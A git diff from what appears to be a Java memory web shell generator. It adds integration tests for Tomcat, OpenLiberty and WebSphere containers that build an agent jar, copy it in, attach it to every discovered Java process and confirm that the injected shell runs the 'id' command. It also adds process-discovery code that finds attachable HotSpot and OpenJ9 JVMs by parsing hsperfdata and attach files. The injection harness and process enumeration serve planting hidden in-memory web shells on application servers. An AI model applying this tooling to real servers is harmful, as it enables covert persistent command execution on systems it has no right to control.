"spring-webflux" } reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" } @@ -69,4 +75,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] [plugins] lombok = { id = "io.freefair.lombok", version = "9.2.0" } -shadow = { id = "com.gradleup.shadow", version = "9.3.1"} \ No newline at end of file +shadow = { id = "com.gradleup.shadow", version = "9.3.1" } \ No newline at end of file diff --git a/integration-test/docker-compose/websphere/docker-compose-700.yaml b/integration-test/docker-compose/websphere/docker-compose-700.yaml index 22619156..f8b0f2b1 100644 --- a/integration-test/docker-compose/websphere/docker-compose-700.yaml +++ b/integration-test/docker-compose/websphere/docker-compose-700.yaml @@ -2,6 +2,8 @@ services: was700: image: reajason/websphere:7.0.0.21 container_name: was700 + environment: + JAVA_OPTS: -Xshareclasses:none ports: - "9080:9080" - "9060:9060" diff --git a/integration-test/docker-compose/websphere/docker-compose-905.yaml b/integration-test/docker-compose/websphere/docker-compose-905.yaml new file mode 100644 index 00000000..e28fcc88 --- /dev/null +++ b/integration-test/docker-compose/websphere/docker-compose-905.yaml @@ -0,0 +1,12 @@ +services: + was905: + image: reajason/websphere:9.0.5.17 + container_name: was905 + ports: + - "9080:9080" + - "9060:9060" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index cd4ae2cc..5951e3f3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -503,4 +503,60 @@ public static void assertFilterProbeIsRight(String filterInfos) { containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]") )); } + + @SneakyThrows + public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer appContainer) { + String shellTool = ShellTool.Command; + Packers packer = Packers.AgentJarWithJREAttacher; + Pair urls = getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + + ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(), + shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer); + + // Pack and copy to container + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/listProcessTest.jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + + // Test 1: List processes (no args) + Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath); + String listStdout = listResult.getStdout(); + if (listStdout.contains("executable file not found")) { + listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath); + listStdout = listResult.getStdout(); + if (listStdout.contains("no such file or directory")) { + listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath); + listStdout = listResult.getStdout(); + } + } + log.info("list processes output:\n{}", listStdout); + System.out.println("list stderr: " + listResult.getStderr()); + assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo(""))); + assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found"))); + + // Test 2: Attach all + Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all"); + String attachStdout = attachResult.getStdout(); + if (attachStdout.contains("executable file not found")) { + attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all"); + attachStdout = attachResult.getStdout(); + if (attachStdout.contains("no such file or directory")) { + attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all"); + attachStdout = attachResult.getStdout(); + } + } + log.info("attach all output:\n{}", attachStdout); + System.out.println("attach all stderr: " + attachResult.getStderr()); + assertThat("Attach all should complete with Success", attachStdout, containsString("Success")); + + // Test 3: Verify shell injection was successful + String paramName = ((CommandConfig) shellToolConfig).getParamName(); + commandIsOk(shellUrl, shellType, paramName, "id"); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index ec3d5e3a..475db6f5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -2,10 +2,12 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 9e479a02..53825bc8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -2,10 +2,12 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index af36369e..1909dd03 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -2,10 +2,12 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index e6ff169e..b997ba92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 561e9b73..e4cf90e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index 9492beb7..3ba4badd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index 0011e0c1..752e1200 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index b8a89521..52288020 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java index 181624ae..49c36faa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java index 08e70d19..676262df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java index 5409cea1..69084eab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java index 03076713..02f9a746 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index 753d8297..316b10a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 855ec6db..1b8c1b56 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index 2dcab4f5..8511b6d7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -2,9 +2,11 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -13,6 +15,7 @@ import java.time.Duration; import java.util.List; +import java.util.Map; /** * @author ReaJason @@ -26,6 +29,7 @@ public class WebSphere700ContainerTest extends AbstractContainerTest { "reajason/websphere:7.0.0.21", "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .targetJdkVersion(Opcodes.V1_6) + .env(Map.of("JAVA_OPTS", "-Xshareclasses:none")) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .supportedShellTypes(List.of( ShellType.SERVLET, @@ -46,4 +50,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java b/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java index e9af79c5..e5b02a3f 100644 --- a/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java +++ b/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java @@ -15,6 +15,7 @@ */ import java.io.File; +import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -22,13 +23,18 @@ import java.net.URISyntaxException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; import java.security.CodeSource; import java.security.PrivilegedAction; import java.security.ProtectionDomain; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; +import java.util.HashSet; import java.util.List; +import java.util.Properties; +import java.util.Set; /** * Copy from Byte Buddy @@ -91,6 +97,41 @@ public static void attach(File agentJar, String processId, String argument) { install(processId, argument, new AgentProvider.ForExistingAgent(agentJar)); } + /** + *

+ * Lists all discoverable Java processes on the local host. + * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux. + *

+ *

+ * HotSpot processes are discovered by scanning {@code hsperfdata_} directories + * in the system temporary folder and parsing PerfData binary files to extract + * the main class name. OpenJ9 processes are discovered by scanning + * {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files. + *

+ *

+ * Note: Only processes accessible to the current user are listed. + * Stale entries from crashed JVMs may appear. Processes started with + * {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning. + *

+ * + * @return A list of discovered Java process descriptors. + */ + public static List listJavaProcesses() { + List processes = new ArrayList(); + Set seenPids = new HashSet(); + for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + return processes; + } + /** * Installs a Java agent on a target VM. * @@ -928,4 +969,431 @@ public boolean requiresExternalAttachment(String processId) { } } } + + /** + * Represents a discovered Java process on the local host. + */ + public static class JavaProcessDescriptor { + + /** + * The process ID. + */ + private final String pid; + + /** + * The main class name or JAR path, may be empty if unknown. + */ + private final String mainClass; + + /** + * The JVM type identifier, e.g. "HotSpot" or "OpenJ9". + */ + private final String vmType; + + /** + * Creates a new Java process descriptor. + * + * @param pid The process ID. + * @param mainClass The main class name or JAR path, may be empty if unknown. + * @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9". + */ + public JavaProcessDescriptor(String pid, String mainClass, String vmType) { + this.pid = pid; + this.mainClass = mainClass; + this.vmType = vmType; + } + + /** + * Returns the process ID. + * + * @return The process ID. + */ + public String getPid() { + return pid; + } + + /** + * Returns the main class name or JAR path. May be empty if unknown. + * + * @return The main class name. + */ + public String getMainClass() { + return mainClass; + } + + /** + * Returns the JVM type identifier. + * + * @return The JVM type, e.g. "HotSpot" or "OpenJ9". + */ + public String getVmType() { + return vmType; + } + + /** + * {@inheritDoc} + */ + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append(pid); + if (mainClass.length() > 0) { + sb.append(' ').append(mainClass); + } + sb.append(" (").append(vmType).append(')'); + return sb.toString(); + } + } + + /** + * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_} directories + * in the system temporary folder and parsing PerfData v2 binary files. + */ + private static class HotSpotProcessDiscovery { + + /** + * The PerfData magic number: {@code 0xcafec0c0}. + */ + private static final int PERFDATA_MAGIC = 0xcafec0c0; + + /** + * The directory name prefix for HotSpot PerfData user directories. + */ + private static final String HSPERFDATA_PREFIX = "hsperfdata_"; + + /** + * The PerfData entry name for the Java command line. + */ + private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand"; + + /** + * The data units value for STRING type entries. + */ + private static final byte UNITS_STRING = 5; + + /** + * Maximum PerfData file size to read (1 MB), as a safety bound. + */ + private static final int MAX_PERFDATA_SIZE = 1024 * 1024; + + /** + * Minimum PerfData file size (v2 prologue is 32 bytes). + */ + private static final int MIN_PERFDATA_SIZE = 32; + + /** + * The size of a PerfData v2 entry header in bytes. + */ + private static final int ENTRY_HEADER_SIZE = 20; + + /** + * Discovers all HotSpot JVM processes visible to the current user. + * + * @return A list of discovered HotSpot Java process descriptors. + */ + static List discover() { + List result = new ArrayList(); + Set seen = new HashSet(); + for (File tmpDir : getTempDirectories()) { + if (!tmpDir.isDirectory()) { + continue; + } + File[] userDirs = tmpDir.listFiles(); + if (userDirs == null) { + continue; + } + for (File userDir : userDirs) { + if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) { + continue; + } + File[] pidFiles = userDir.listFiles(); + if (pidFiles == null) { + continue; + } + for (File pidFile : pidFiles) { + String fileName = pidFile.getName(); + if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) { + continue; + } + if (!seen.add(fileName)) { + continue; + } + String javaCommand = parsePerfData(pidFile); + result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot")); + } + } + } + return result; + } + + /** + * Returns the list of temporary directories to scan for HotSpot PerfData files. + * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp} + * and also {@code java.io.tmpdir} if it differs. + * + * @return A list of temporary directories. + */ + private static List getTempDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"))); + } else { + dirs.add(new File("/tmp")); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir)); + } + } + return dirs; + } + + /** + * Parses a HotSpot PerfData v2 binary file to extract the value of + * {@code sun.rt.javaCommand}. + *

+ * The PerfData v2 binary format consists of a 32-byte prologue followed + * by a sequence of variable-length entries. Each entry contains a name + * and a data value. This method iterates through entries looking for + * the {@code sun.rt.javaCommand} entry. + *

